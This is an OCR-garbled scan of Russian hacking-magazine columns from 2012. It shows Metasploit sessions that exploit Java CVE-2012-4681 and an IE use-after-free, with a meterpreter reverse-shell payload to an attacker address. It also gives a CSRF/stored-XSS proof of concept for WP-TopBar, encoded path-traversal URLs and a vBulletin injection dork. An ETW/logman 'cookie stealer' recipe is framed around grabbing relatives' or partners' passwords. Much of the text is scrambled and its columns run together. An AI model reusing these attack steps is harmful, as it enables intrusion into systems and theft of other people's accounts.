дартный SМТР-порт 25 трудно эксnлуатировать). <script>document . forms(e] . submit ( ) ; </script>
Но, несмотря на все эти ограничения, стоит nомнить о данной </body>
атаке - это может оказаться самым nрямым nутем для комnро- </html>

ОРГАНИЗОВАТЬ ПЕРЕБОР ФАЙЛОВ


НА ВЕ&-СЕРВЕРЕ 115
Шar..t
.-!J. ki
с

интересно, прошу - goo.gl/axKЗb. Там же, кстати, можно увидеть,


РЕШЕНИЕ добавить), хотя для наших целей это и не так важно. Но если тебе
Как я уже nисал, одно и з первых пентестерских дел п р и анализе
какого-либо сайта - получить список файликов и/или дирек­ как защититься от этого трюка.
торий. Кроме того, чтобы поползать ручками по сайту и/или за­ Приятно и то, что автор предоставил свой сервер для опро­
пустить какой-н ибудь spideг, который сделает это з а нас, также, бования этого дела, а потому мне не пришлось ползать по Сети,
конечно, стоит и поперебирать имена дефолтных и типичных подыскивая подобную ситуацию :). На скринах ты увидишь ре­
файлов/папок. Классический инструмент для данных дел ­ зультаты в действии.
DiгBusteг. И вроде бы все ОК. Да вот с 1 1 5 и .NET систематически Таким образом, для того чтобы перебрать файлики
возникают различные трудности, в том числе с перебором. DiгBusteг'oм, воспользуйся возможностью формировать правила:
Достаточно часто веб-приложение настроено так, что при вместо <<Staпdaгt Staгt Poiпt>> используй <<U R L Fuzz>> и добавляй
генерации какой-либо ошибки приложеннем нас редиректит пресловутый <<?а sрхеггограth =/».
на страницу с ошибкой. Причем вне зависимости от причины
ошибки нам отображается одна-единственная страница. В такой - ·- -···
- ·-- -·.. -

ситуации организовать адекватный перебор не представляет­


ся особо возможным. И в случае ошибки 500, например из-за
----··
�---

·- .. -· ...._..
вызова куска приложения, не работающего до аутентификации, '"- · -- -......

и в случае 404 - когда запрашиваемого файла не существует,


и в 403 - когда запрещен листинг директорий, и в других случаях -·· .. --­
.., . - --
мы увидим единую страницу. Но это совсем не хорошо. _
... ..
....
.,...

Так вот, Соруш Далили (Soгoush Dalili) недавно опубликовал


интересную штуку (правда, о ней опять-таки многие догадыва­ ПервыМ существует, но воэвращает оwмбку 500. Второй - не существует. Но мтоr один:
не nоперебмрать
лись- такова уж наша сфера), позволяющую увидеть реальную
причину ошибки.
Суть способа вполне проста - требуется всего лишь добавить
в конец запрашиваемого URL'a строчку <<?а sрхеггограth=/».
PJ.�
После чего сработает некая магия, редиректа на дефолтную Server Error in '/' Application .
страничку ошибки не произо йдет, а отобразится «натуральная»
ошибка. Runtiml! Error
Если честно. причин такого поведения автор особо не объ­
ясняет (вероятно, логика где-то не срабатывает, из-за при сут­
ствия в запросе аsрхеггограth, которое оно же и пытается само Добааnаем 1 URL aspxtrrorpath, и редмрект не срабатwв�ет -амдмм реапьну10 оwибку

ХАКЕР 1 1 /166/2012 06f


ВЗЛ ОМ / EASY НАСК

УЛУЧШ ИТЬ РА&ОТУ С OLLYDBG

Да, давно я не касался всякой бинарщины. Все веб да веб. Этот •


выпуск, по сути, тоже пропитан вебом. Но в будущем я постараюсь
исправить сие недоразумение и уравновесить ситуацию.
Начнем. У всеми любимого дебаггера OllyDbg !он же теперь lm­
munityDbgl есть прекрасная возможность расширить функционал,
во-nервых, за счет плагинов, во-вторых, за счет Руthоn-скриптоков
!только для второго!. И вот не так давно появился еще один
интересный плагин - Ьit lvlivP4Bv.
---
Благ на испанском, "а nотому позволю себе перевести какие­
- --
то его части и общий смысл. Автор плагина, Марио Вилас !Mario
Vilasl, очень расстраивался от того, что хелп no WinАРI-функциям,
встроенный в OllyDbg, был основан на стандартном файлике
ОС - win32.hlp. Этот файлик является собственностью M icrosoft
!а потому не входит «В поставку>> с OllyDbgl и обновлялся ею. И Запрос xenna = заnрос в Гyrn
здесь самое главное - прошедшее время. Описание некоторых
функций современных ОС в нем отсутствует, так как Microsoft Получается вполне приятная в использовании штука. Для
с некоторых пор отказалась от подде ржки этого файла и все запуска плагина надо сделать следующее:
переехало на MSON. 1. Разархивируем и кидаем плагин в папку nлагинов OllyDbg.
Проблема ясна. Но и решение вполне логичное. Марио создал 2. Открываем OllyDbg __, меню Help __, Select Api help file.
плагин, заменяющий использование Win32.hlp в OllyDbg/lmmu nity­ З. Выбираем win32.hlp !он может быть пустым!.
Dbg. Вместо этого при заnросе хелпа l<ctrl + F1> или правый кли к __, 1.. Радуемся!
help o n symbolic namel по какой-либо функции генерится запрос
в Гугл через дефолтный браузер. В итоге мы попадем на MSDN Кроме того, доступны и исходники, которые позволят подкрутить
с искомым оnисанием. что-то лично под себя.

ПОЛУЧИТЬ ЛОГИН И ПАРОЛЬ ОТ САЙТА


itt.i·ьт
ar..ii!r.:J

Есть такая классическая проблема у многих - заполучить ло­


гин и параль от чьего-н ибудь, наприм ер, вконтактика. Причем
очень часто жертвой являются их же домочадцы или вторые
половинки. Ужас, в общем. Или на работе админ захотел узнать
чьи-то аутентификационные данные от левого сайта.
Конечно, когда у нас есть пол н ы й , админский доступ к
компу - можно наделать все что угодно. Наприм ер, установить
страшных троя нов или кейлоггеров и контролировать таким
образом все и вся. Но возможно, тогда п ридется столкнуться с
антивирусом или в исключительном случа е - с правоохрани­
тельными органами ...
Недавно на PauiDotCom.com б ы л о рассказано про небольшой
три к, с помощью которого хакер мог бы получить аутентифика­
ционные данные, то есть логин и n а роль, о т любого сайта, даже
от такого, к которому достуn происходит полностью по HTTPS.
И при этом используются только встроенные возможности ОС
Windows. Звучит достаточно при влекательно :1.
В чем же фишка? Есть такая штука в вин де, как Event Tracing
for Windows IETWI. Думаю, смысл и цель ее понятны из назва­
ния :1. Так вот, ее можно использовать н е только по назначению,
то есть не для каких-то отладочных целей, но и для того, чтобы
Windows сnедмт за тобой...
nохитить что-ни будь интересное. Одно из главных для нашей
цели свойств - ETW может логировать все обращения в систе­
м е к Winlnet API. То есть еще до того, как данные фактически С практической точки зрения требуется в ы полнить следую­
nопадут в шифрованный НТТРS. щие шаги:
Таким образом, включив в ОС ETW, мы увидим все отправ­ 1. Запуск логирования:
л е н н ые и при нятые запросы, использованные и установленные
куки и много другой информации. logman start CookieStealer - р \

070 ХАКЕР 11 /166/2012


Хакерекие секреты простых вещей

Microsoft-Windows-Winlnet - о cookiesteal . etl -ets 3. В ы ключение легирования:

• staгt - заnустить логированние; logman stop CookieStealer


CookieStea l e г - любое имя для data collectoг"a;
-р Micгosoft-Windows-Winlnet - имя nровайдера для сбо­ 4. Вывод списка провайдеров:
ра логов;
• -о- куда сохраняем итог; logman query providers
• -ets - отправлять команды наnрямую в Event Тгасе
Sessions. Попробовав данную штуку, я, как и авторы, хотел выдернуть свои
парали от gmail'a. Но странное дело - я не нашел там данных
2. Ищем необходимую информацию: РОSТ-запросов. URL есть, куки есть, а данных - нет. У них это по­
лучилось, а у меня - нет. Непонятно... Но данная тема - не моя,
wevtutil qe c : \temp\cookiestea l . etl /lf : true J find /i \ мог и скривить где-то. Подробнее и с удачными примерами ты
"POST" можешь увидеть на PauiDotCom.com - googl/fNmjj .
В конце хотелось бы отметить две вещи. Во-первых, как уже
• Wevtutil - штука для просмотра логов; было сказано, легированию подвержены только приложения, ис­
• qe - выводить еvепt"ы лога; пользующие Winlnet API. Таким образом, используя О ре га, Chгome,
• c:\temp\cookiesteal.etl /lf:true - использовать лог-файл Fiгefox, можно чувствовать себя с этой стороны в безопасности.
+ путь к нему; Во-вторых, с другой стороны, кроме Micгosoft-Wiпdows-Wiпlпet,
• flnd /i "POST"' - что ищем, используя стандартную коман­ есть множество других провайдеров iсм. выше пункт 41. и интерес­
ду fiпd. ностей можно получить от ETW мн ого, так что - присмотрись :1.

О&ХОД РАТН RESTRICTIONS


iiJ•r.т'i!t.:.
л 1

Правила здесь примерно аналогичные-данный заголовок будет


Недавно, бороздя простары Сети в поисках интересностей, послан только на директорию, в которой был выставлен или более
наткнулся на олдскульную доку, аж от 2006 года lgoogi/Pa2dJI . глубокую. Но здесь стоит отметить, что когда веб-сервер отвечает
Авто р - Амит Кляйн [Amit Kleiпl. Несмотря на свою бородатость, первой ошибкой 401, он также сообщает некий идентификатор для
она вполне себе актуальна с технической точки зрения. Но что аутентификации «гealm» в заголовке ответа. Например, WWW­
это я с конца начал ... Есть. надеюсь, всем известное понятие Authenticate: Basic гealm=""cisca··.
SOP (same oгigin policiesl. относящееся к вебу в целом и к веб­ На самом деле изначальной задачей являлось то, что нужно
браузерам в частности, которое, если по-простому, ограничивает было получить доступ к кукисам/Ваsiс-заголовку некой части сай­
взаимодействие различных сайтов, открытых в одном браузере. та www.example.com/admin/, если мы имеем XSS в другой его ча­
Но кроме этого, возможны ограничения во взаимодействии и раз­ сти - www.example.com/puЫic/.
личных частей одного сайта (или, точнее, домена! в зависимости Но предлагаемый автором метод уже невозможен, получение
от их расположения, то есть path. достуnа к заголовкам сервера через ТRАСЕ-метод невозможно
Что же эдесь подразумевается? Во-первых, имеется возмож­ (из браузера запрос с данным методом не отправить!. Хотя куки
ность выставить куки на определенный путь, то есть н е на весь еще получить, по идее, можно, если открыть админку в фрейме и
сайт, а только на какую-то его часть. Например, если поставить добавить в нее кусок JS посредством JS из родителя - паблика.
куку на www.example.com/admiп/, то брауэер будет отправлять На деле не пробовал, но сработать должно :1. Здесь хотелось бы
куку на сервер, только если юзер попытается зайти на www. выделить кое-какие интересные тонкости. Во-первых, куки. Как
example.com/admin/ или глубже, например www.example.com/ это ни странно, у нас нет ограничений на запись. То есть если ответ
admin/Ыa-Ыah/test.php.
Во-вторых, есть такая вещь, как Ваsiс-аутентификация, суть ко­
торой в том, что, когда юэер хочетзайти в какую-то часть сайта, веб­
сервер ему возвращает ответ «НТТР/1 .1 401 Authoгization Requiгed».
Далее браузер говорит пользователю: а введи-ка лог ин и пароль.
Юзер вводит, а браузер помещает эти данные в заголовок запросов к
веб-серверу в формате «Authoгizatioп: Basic » + Ьаsе64(имя:парольl.

71 1Ni:f'I 7211-'Ll
МР:1111.1 1 0.2 ""
� 1715

...... ong�nr�� ,..,.... ...., ,..,.",.. L_

;;:: '.:':w �
_ ___________
.. [мldtls г... г'*" r,.,.. l
:-1::..
r - ­

-:-
1 .0 ------------------
IIТТ?/ 1 . 1 404. 1tot roaact

�..��--:�.; .... ...


COat••t.•Lt�lll Jf.JS
-. . .. _ , ...." . , . .
-........ � .. ,,,, ....
,,...__ 11"1' _,., : ••••• �--.1 :0�101 ,......... ..0.1
..
CollttDt-�: t.tXt/ bt.lli

X-l'owttt4-ly: .SI'.IrtТ1
S•E:vtr• 111c:ro.-ott•lll/�.o
::::::=:
k" ' •••tJ-I,
�:�·��::�···---·�......
·-..,II c• •-'•M•I._I , -I &CM I-'..I t .,.O.t, •l •t
1.:"·
· '*''
,�.,
O.t

...0 .,,.
D.att• loa, 17 S.p :01: J::S7:Sl GIТ ,,..о, ,
S.t-(oolil:it: SESI IC.COO& It•МЬ.� txpltto•S.t, lt•hp-:OJJ JJ:40::7 GJIТ: P4'tb•IЬ.w

Кука установnена на путь /bar/ Подменяем ответ от /asdasd/ на эаnрос аутентификации с реаnом от report
м nоnучаем Ваslс·эаrоnовкм 6оэаnрос1 к nоnьэователю

ХАКЕР 1 1 /166/2012 071


ВЗЛ ОМ 1 EASY НАСК

1� tnttP�toroup.xaкep.ru tul: t 1/Т8РО u ..l_LJ. �uu _l�/ 10� _lH IML � Kepott
_L
• •

request rresponse 1
raw rheaders r hex rhtml rrender 1
НТТР/ ! . ! 40! Autho r ! zat!on R�qu1r�d
Dat.e : Kon, !7 s�p :о!: !В: !9 : З S GIIT
Serve r : Apach�/ ! . 3 . 4 ! (Un!x) mod_tastcq1/ : . 4 . б rrontPaq�/ s . o . : . : б 3 S РНР/ 4 . 4 . 9 v!th Suhos1n-Patch mod_ssl/ : . 6 . 3 !
Op�nSSL/ 0 . 9 . 7e-p!
VVV-Authent icat e : Ва81с rea�"/ vvv/qroup . x Akep . ru/report."
Connection: close


Content-Type : text/html; charset•iso-8859 - !

burp proxy hirtooy �[

1params
filter: hidinQ CSS and IJ11aQe contenl

� JR401e�
11 nost method mod status lei!.Q!!\_ IAIME_t
me extension fiUe

jpllp
URL
1
2
http:l/oroup.xakep.ru
,,_. .IU
GET
GЕТ
\118POI 1 _О_l....ОJ401
200
J799
37188
JH
ТIAL
НТ1о1L
Authorizafio .
_
_

• 1 -

r response 1
r params r headers r nex 1
request

raw

G!T /report НТТР/ ! . 0


Hosc. : qroup . xakep . r u

Ваsiс-аутемтмфмкацмя установnена на nуть /report/

request r response 1
raw r params r headers r hex 1
GET /bc!lr /baz,. 5С . . " 5С . . 1 too/ НТТР/ 1 . 1
Host : 17 : . 1 6 . 0 . :
User-Ac;rent : Ko z i l la/ 5 . 0 ( Vindovs NT 5 . 1 ; rv: 15 . 0 ) Gecko / : 0 100101 Firetox/ 1 5 . 0 . 1
Accept : t ex t/ htm l , ap p l icc!lt i on/ x html+xm l , ap p l ic c!lt ion/ xml ; cr•0 . 9 , " / " ; cr•0 . 8
Accept- Lanc;ruac;re : ru-ru, r u ; C(•O . S , en-us ; C(•O . S , e n; C(•O . З
Accept-Encodinc;r : c;r z i p , detlate
Proxy-Co nne c t i o n : keep-al ive
Cookie : SESS I ONCOOK I E • hahahaha

Простой три к с обратнwмм сnеwамм под Win, м Ьаr-кукм отnравnяются на foo

от puЫic будет содержать строчку о том, что надо поставить куку 1) www . example. com/admin/%2e%2e/public/ \
на часть admin, то браузер зто с радостью проглотит. Во-вторых, (URL -encoded " . . / " )
смотри далее. так как зто общий с Basic пункт :1. Большинство веб-серверов обработают как public,
Теперь Basic. Здесь самым интересным является то. что Basic IE - ok, FF - канонизирует до www . example. com/puЬlic/
не привязывается к конкретному пути, точнее привязывается. nеред отnравкой на сервер.
но не только к нему. Основополагающим элементом, из-за кото­ 2) www . example . com/adNin/baz\ • • \ • • /puЫic/
рого браузер отправляет запросы с аутентификацией, является Большинство веб-серверов nод Windows обработают как
реал м. То есть если юзер аутентифицировался на www.example. public, IE - канонизирует, FF - ok .
com/admin/, то браузер отправит и на www.example.com/admin/ 3) www . example. com/admin/%uee2e%uee2e/public/ (UTF - 8 )
Ыa-Ьiah/test.php соответствующий Ваsiс-заголовок, как уже было IIS - должен обработать, IE, F F - o k .
сказано. Но в то же время если, зайдя браузером на www.example. 4 ) www . example . com/adNin%ce%ae%c8%ae/public/ (Overlong \
com/puЬ!ic/, последний отnравит юзеру ошибку401, а главное­ UТF - 8 )
правильный реал м !то есть тот, что был в adminl. то браузер IIS - должен обработать, IE, FF - ok.
автоматом отnравит аутентификацию от admin. Имхо, интересный 5 ) www . example. com/admin/%252e%252e /public/ (Double- \
факт. encoded dot)
Но и зто еще не все! Как раз второй пункт, общий и для cookie, IIS - должен обработать, IE, FF - ok.
и для Ваsiс-аутентификации. У нас есть возможность обмануть
браузер пользователя и вынудить его послать критические В общем, главная nроблема здес ь - канонизация заnросов.
данные на puЬiic, за счет того, какой запрос мы nосылаем. То есть которую проводит браузер nеред отnравкой их на сервер. Если
мы должны сформировать такой запрос. который казался бы получится ее обмануть или найти сговорчивый веб-сервер, то все
браузеру запросом к admin, а после его обработки и нормализа­ тиn-топ :1. Прямого nрактического применения у этих тонкостей
ц-ии веб-сервером получалея бы запрос к puЬ!ic. Звучит. может, не наблюдается, но вот в связке с другими уязвимастями - можно
невероятно, но посмотри на примеры, и все станет на свои места. nолучить неnлохой про фит.
Сразу отмечу, что варианты привязаны к версии браузера и типу Вот и все. Надеюсь, что было интересно :1. Усnешных ресерчев и
веб-сервера. познаний нового!

072 ХАКЕР 11 /166/2012


х 86 - и нструкц и й ряд нестро й ны й
В п р оцессор л ьется бур н ы м сел е в ы м потоком.
В неза пно существо мое п р онзает сл овно током
П р едста вшая п ред взором неспоко й н ы м
О ш и б ка доступа н а зап и сь.

Ч то ж, будем в б а ге раз б и раться . . .


Пора попкорном за пасаться.
Удо б нее на стул сади сь,
Ч и та й же нашу л �топ и сь !

Обзор
эксплоитов ...

АНАЛИЗ СВЕЖЕ Н ЬКИХ УЯЗВИМОСТЕИ

1
0-day Java SE С учетом того факта, что апnлет при заnуске наделяется к р а й н е
CVE-2012-"81 ограниченными n р а в а м и достуnа, получим, что е с л и nри nроверке
методом java.secuгity.AccessContгolleг.checkPeгmission на стеке

111111111 111111111 11
CVSSV2 10.0 вызовов имеется хотя б ы одна функция из аnnлета, то подобная
проверка nрав достуnа завершится неудачей (если, конечно,

1Ш1Ш
(AV: N/AC: L/AU: N/C :С/1: С!A:CI нет блока кода doPгivilegedl.
Суть работы эксnлойта состоит в том, чтобы создать экземnляр
Дата релиза: 26 августа 2012 года класса java.secuгity.AccessContгoiContext с использованием java.
Автор: Michael Schieгl, jduck, sinnЗг, juan vazquez secuгity.PгotectionDomain, имеющего неограниченные nрава до­
CVE: CVE-2012-4681 стуnа, а затем noдмeнить AccessContгoiContext экземпляра класса
java.beans.Statement, дабы nолучить возможность исnолнения
При работе эксnлойт исnользует два нововведения, входящих в кода с nолными nривилегиями.
соста в J D К 7: ClassFi ndeг и MethodFindeг.findMethod(J. ClassFindeг Окинем взглядом реализацию клacca java.beans.Statement и
nредставляетсобой замену для classFoгName, используемого увидим, что экземnляр AccessContгoiContext nредставляет собой
в J D K 6 . В результате недоработок в плане безопасности он по­ nриватное финальное поле, получающее свое значение nутем вы­
зволяет недоверенному коду nолучить ссылку на служебный nакет зова AccessContгolleг.getContext( 1:
из J D K 7 (в данном случае используется sun.awt.SunToolkitl.
П р и помощи sun.swt.SunToolkit вызывается рuЫiс-метод
• 10 •­
getField(J для того, чтобы получить доступ к приватному полю · --- -­
- �-
Statement.acc, модифицировать дссеssСоntгоiСоntехt, а затем
отключить менеджер безопасности. Как только менеджер без­ ------- - -·· -- "·

=--=.:...=.�. ...::.::...- :· .-:.=;..


- .--·
- -- · - -·

оnасности будет отключен, появляется возможность исnолнять


---� -. ..

nроизвольный Jаvа-код. --- -· - -·

шшп
-·-··--4>
--··--
--- - - -- - --·

Перед выnолнением большинства оnераций в JDК осуществля­ _ ____..

ется nроверка nрав достуnа. Всякий раз, когда nроисходитвызов


м етода java. secu гity. AccessContгolleг.check Peгmission, вы nол­ -
- --·•
....ч·• · -
--
-ос• - · - -·•·

- - - - --..- ---· ·· -· --·


няется nолный анализ текущего стека вызовов. В случае если на ,_...__, _ .,.._ __.

стеке вызовов содержится хотя бы одна из вызывающих функций,


не обладающая требуемыми привилегиями, nроисходит генера­
ция исключения. Декомп илмрованный классэксnnойтадля СУЕ·201 2·,681 мэ Metasploit'a
puЫic class Statement { П р и nопытке создать экземnляр класса или использовать
классы nеречисленных nакетов nроизойдет генерация исключения
private static Object [ ] emptyArray = new Object [ ] { } ; AccessContгoiException. Но не стоит отчаиваться, поскольку суще­
ствует возможность произвести вызов к оnределенным методам,
static Exceptionlistener defaul tExceptionListener = new в результате чего nроверки менеджера безоnасности n р оnустят нас.
Exceptionlistener ( ) { В своей реализации эксплойт использует класс java.beans.
puЫic void exceptionThrown (Exception е ) Expгession, являющийся nодклассом класса java.beans.Statement.
System .err . println(e); Вызов метода Expгession.execute заканчивается nереда­
System. err . println ( "Continuing . . . ·· ) ; чейуnравления на Statement.invokelnteгnal. В свою очередь,
Statement.invokelnteгnal вызы вает по ходу работы com.sun.beans.
}; findeг.CiassFindeг.гesolveCiass, который завершается вызовом
метода com.sun.beans.fi ndeг.CiassFi ndeг.find Class:
private final AccessControlContext асс
AccessControlle,r . getcontext( ) ; puЫic static Class < ? > resolveClass(String name,
private final Object target; Classloader loader) throws Clas sNotFoundException
private final String methodName; Class < ? > type = PrimitiveTypeMa p . getType(name);
private final Object [ ] arguments; return (type == null) ? findClass(name, loader) : type;
Classloader loader;

[. . . ] puЫic static Clas s < ? > findClass(String name) throws \


ClassNotFoundException {
try {
Вызов метода getContext(J устанавливает AccessContгoiContext Classloader loader = Threa d . c urrentThread( ) .
в контекст аnnлета, не обладающего nрактически никакими nри­ getContextClassLoader( ) ;
вилегиями. i f ( loader = = null) {
Теnерь nеред нами встает воnрос, каким же образом можно иэ­ loader = Classloader. getSystemClassLoader( ) ;
менитьэначение nриватного n оля. Весьтрюксостоитв том, чтобы
восnользоваться классом sun.awt.SunToolkit, который содержит i f (loader ! = null) {
весьма интересный статический рuЬiiс-метод: return Class . forName (name, false , loader);

puЫic static Field getField(final Class klass, final \


String fieldName ){ catch (ClassNotFoundException exception)
return AccessController . doPrivileged(new 11 use current class loader instead
PrivilegedAction< Field> ( ) {

puЫic Field run ( ) { catch (SecurityException exception) {


try { 11 use current class loader instead
Field field = klass . getDec laredField(fieldName );
assert (field != nul l ) ;
field . setAccessiЫe(true ) ; return Clas s . forName(name);
return field;

catch (SecurityException е ) { Из кода видно, что если ловится исключение, то no умолча­


assert false; нию nроизводится вызов метода Class.foгName, и это и м е н н о
наша ситуация. В ы з о в к Class.foгName кладет н а стек вызовов
catch (NoSuchFieldException �) { Classloadeг, являющийся частью J D K, поэтому, в связи с тем что
assert false; н а стеке вызовов у нас находится довере н н ы й вызов, nроверка
безоnасности проходит успешно. Все это позволяет нам nолу­
return null; чать ссылки на произвольный класс произвольнога nа кета, чем
} мы и восnользуемся для получения ссылки н а sun.awt.SunToo lkit.
}); Теперь у нас есть ссылка на нужный класс, но мы все равно nока
не имеем возможности вызывать напрямую проиэвольные методы
из этого класса, поскольку они являются частью служебного па кета
Таким образом мeтoд getField может исnользоваться для nолу­ и п р и вызове nроизойдет генерация исключения. Суть обхода этой
чения любого класса, и, что самое прекрасное, даже при ватного. неприятной ситуации осталась той же, что и в предыдущем случае.
Однако стоит отметить, что классы, являющиеся частью слу­ Statement.invokelnteгnal, уnоминавшийся ранее, содержит вы­
жебных па кетов, запрещены для апплетов, то есть ссылку на н и х зов к методу com.sun.beans.findeг.MethodFindeг.findMethod:
нельзя получить и , соответственно, и х никоим образом нельзя
использовать в своих коварных целях. К подобным nакетам от­ puЫic static Method findMethod (Class< ?> type, String
носятся: name, Class < ? > . . . args) throws NoSuchMethodException
• com.suп.deploy.•
com.sun.imageio.' method = findAccessiЫeMethod( new MethodFinder(name,
com.sun.javaws.• args ) . find (type . getMethods( ) ) ) ;
com.sun.jnlp.' CACH E . put(s ignature, method);
com.sun.xml.inteгnai.Ьind.'
com.sun.xml.inteгnal.ws.• return method;
sun.•
Вызов к findAccessiЬieMethod завершается nередачей уnрав­ SSL false no Negotiate SSL for
ления на j ava . la n g . Cia ss.g etM et ho ds. На стеке вызовов в зтот incoming connections
момент будет находиться com.sun.beans.finder.MethodFinder, вхо­ SSLCert no Path to а custom SSL
дящий в состав JDK и, соответственно, являющийся доверенным, certificate (default
nоэтому снова имеем обход nроверки безоnасности. is randomly generated)
Итак, краткий план ра боты э кспл ойта: SSLVersion SSL3 no Specify the version of
• создается экземnляр класса Statement, который вызывает метод SSL that should Ье used
Syste m .s et 5 ecu rityМ а па g er{n u 111; (accepted : SSL2,
• создается сnециальный AccessControiContext с неограниченны­ SSL3, TLS1}
ми nравами достуnа; URIPATH exm no The URI to use for
• при nомощи nервой баги nолучается ссылка на класс sun.awt. this exploit (default
SunToolkit; is random)
• nри помощи второй ба г и вызывается статический рuЬiiс-метод
getFiled и nолучаете� ссылка на nриватное nоле Statement.acc, Payload options (java/meterpreter/reverse_tcp) :
значение nоля устанавливается в ранее созданный сnециальный
AccessContro1 С о ntext; Name Current Setting Required Description
• в завершение вызывается Statement, что nриводит фактически
к отключению менеджера безоnасности, nосколькутеnерь в
AccessControiContext содержатся неогран ичен ные nрава достуnа. LHOST 192 . 168 . 0 . 123 yes The listen address
LPORT 4444 yes The listen port
Пример исnользования соответствующего модуля из состава
Metasploit: Exploit target :

msf > use exploit/multi/brgwser/java_jre17_exec Id Name


msf exploit(j ava_jre17_exec) > set uripath exm
uripath => exm
msf exploit(j ava_jrel7_exec) > set payload е Generic (Java Payload)
java/meterpreter/reverse_tcp
payload => j ava/meterpreter/reve_rse_tcp msf exploit(j ava_jre17_exec) > exploit
msf exploit ( j ava_jre17_exec) > set 1host 192 . 168 . 0 . 123 [ * ] Exploit running as background job.
lhost => 192 . 168 . 0 . 123
msf exploit(j ava_j re17_exec ) > show opt1ons (*] Started reverse handler on 192.168 . 0 . 12 3 : 4444
(*] using URL : http://0 . e . e . e : 8080/exm
Module options (exploit/multi/browser/java_jre17_exec ) : [*] Local I P : http : l/192 . 168 . 0 . 12 3 : 8080/exm
(*] Server started .
Name Current Setting Required Description
На уязвимой машине заходим по http:l/192.168.0.1 23:8080/exm,
SRVНOST е.е.е.е yes The local host атакующий исполняет победный танец с бубном. Занавес.


to listen on.
This must Ье a n
address on the local OracleJSE IJava Staпdard Editioпl версий 1.7.0_06-Ь24 и меньше.
machine or е . е . е . е
SRVPORT 8080 yes The local port
to listen on. Существует обновление, устраняющее данную уязвимость.
2
0-day уяэвимость тиnа use-after-free Id Name
в функции execCommand в IE
IE 8 on Windows 7

1 1 1 1 1 1 1 1 1 11 1 1 1 1 1 1 11
CVSSV2 93
msf exploit( ie_execcommand_uaf) > exploit

1ШIШ
IAV:N/A C:M/AU:N/C:C/I:C/A:C) [ * ] Exploit running as background job .

Дата релиэа: 1 8 сентября 2012 года [ • ] using URL: http : l /0 . 0 . 0 . 0 : 8080/exm


Автор: u n know, eromang, Ьinjo, sinn3r, juan vazquez [ • ] Local I P : http:J/192 . 168 . 0 . 12 3 : 8080/exm
CVE: CVE-201 2-4969 [ * ] Server started.

Данная уязвимость была обнаружена in-the-wild 14 сентября 2012 На уязвимой машине пользователь nереходит nо
года. и пока чтодля нее н е существует официального патча. h!tp://192.168.0.123:8080/exm и видит запускающийся калькулятор.

iШ3Ш
В nроцессе рендерин; а НТМL-страницы nроисходитудаление
объекта CMshtmiEd. nозже выделенная под него nамять повтор­
н о исnользуется в функции CMshtmiEd::Exec[), что и при водит к Microsoft l nternet Explorer 6-9.
уязвимости тиnа use-after-free.

1ШШi Обновлений пока что не существует, так что лучше IE не использо­


Пример исnользования модуля для данной уязвимости из состава вать.

3
Metasploit:
Множественные уяэвимости
msf > use exploit/windows/browser/ie_exec command_uaf в WordPress WP-TopBar
msf exploit( ie_execcommand_uaf) > set uripath exm

1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 1 1 1 1 11
uripath => exm CVSSV2 6 О
msf exploit( ie_execcommand_uaf) > set target 5

1ШIШ
target => 5 IAV:N/AC:M/Au:S/C:P/I:P/A:P)
msf exploit( ie_execcommand_uaf) > set payload windows/exec
payload => windows/exec Дата релиэа: 13 сентября 2012 года
msf exploit (ie_execcommand_uaf) > set cmd calc. exe Автор: Blake E n trekin
cmd => calc . exe
msf exploit(ie_execcommand_uaf) > show options В плагине WP-TopBar были найдены уязвимости типа CSRF [nод­
делка межсайтовых запросов) и stored [хранимая, также известна
Мodule options (exploit/windows/browser/ie_execcommand_uaf) : как активная ) ХSS, n р и эксплуатации кото ры х становится возмож­
ным изменять настройки плагина произвольным образом, а также
Name Current Setting Required Description завладеть аккаунтами пользователей.

1ШШi
1. C S R F Cкpиnтwp-topbar.php не фильтрует данные, nереданные
SRVHOST 0.0.0.0 yes The local host
to listen on . This .

must Ье an address nутем POST-зanpoca, и в результате становится уязвимым для


on the local machine атаки CSRF. Пример эксплуатации в ы глядит следующим о б ­
or 0 . 0 . 0 . 0 разом:
SRVPORT 8080 yes The local port
to listen o n . <html>
SSL false no Negotiate S S L for <head>
incoming connections <title></ti tle>
SSLCert no Path to а custom SSL </head>
certificate (default <body>
is randomly generated) <form name= "testform" action= "https : 1 / localhost/ \
SSLVersion SSL3 no Specify the version of wordpress/wp-admin/admin . php?page=wp-topbar . php
SSL that should Ье &action=topbartext&barid=1" method="POST " > <br>
used (accepted : SSL2, <input type="hidden" name="wptbbartext" value= \
SSL3, ТLS1) "</ script > < sc ript >onload=alert ( 3 ) < 1 sc ript > ">
URIPATH exm no The URI to use for <input type="hidden" name="wptЬlinktext" \
this exploit (default value="whatever">
is random) <input type=" h idden " name= "wptЫinkurl" value=
"http%3A%2F%2Fwordpress . org%2Fextend%2Fplugins%2
Payload options (windows/exec ) : Fwp-topbar%2F" >
<input type=" hidden" name="wptЫinktarget" \
Name Current Setting Required Description value="Ьlank">
<input type="hidden" name="wptbenaЫeimage" \
CMD calc. ехе yes The command string value="false" >
to execute <input type="hidden " name= "wptbbarimage" value= " " >
EXПFUNC process yes Exit technique: seh, <input type= "hidden" name="update_wptbSettings"
threadJ process1 поnе value="Update+Settings" >
</form>
Exploit target : <script type="text/javascript" >
Go gle inur1:awards.php intext"powered Ьу vЬulletin"
..
Search Aьout 11 J 000 res ulls 10 19 seconds

Web The Org - Awards


forums totalwar orgiVЬiawards.php
lmages The Org- po-.cl Ьу VВUII841n · Неlр. RememЬer Ме? •••.• Po-.d Ьу VВUI1841n.
Copynght Q2000 - 2012. Jetsoft Enterprlses Ltd. l mage reslzer Ьу SevenSklns.
Maps

Vldeos Astronomican - Warhammer Forums - Awards


www.astronomlcan.com/awards.php
News
Astronomlcan - Warhammer Forums - Po-.d Ьу VВUII841n · Неlр. RernernЬer Ме?
TotaJ Wargamer - 20% off Warhammer ...
More

ДоркдnR vBulletin выдаетоvеr 100 000 результатов

'
SQL-мнъекцмя в vBulletin Yet
document .testform . s ubmit ( ) ; Another Awards System
</script>

1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 11
</body> CVSSV2 6О
</html>

ШiПП
IAV:N/AC:M/Au:S/C:P/I:P/A:P)
При заходе на эту стра н и цу пользователя с н у ж н ы м и пра­
в а м и мы будем наблюдать изменение настроек nлагина на Дата ре лиза: 29 а в густа 2012 года
нужные н а м значения, в частности п е р е менную wptbbaгtext Автор: Backs\Гclsh/Dan
можно измен ить н а произвольный JS, тем с а м ы м реализовав Google Dork: inurl:awards.php intext:""poweгed byvbulletin'"
хранимую ХSS.
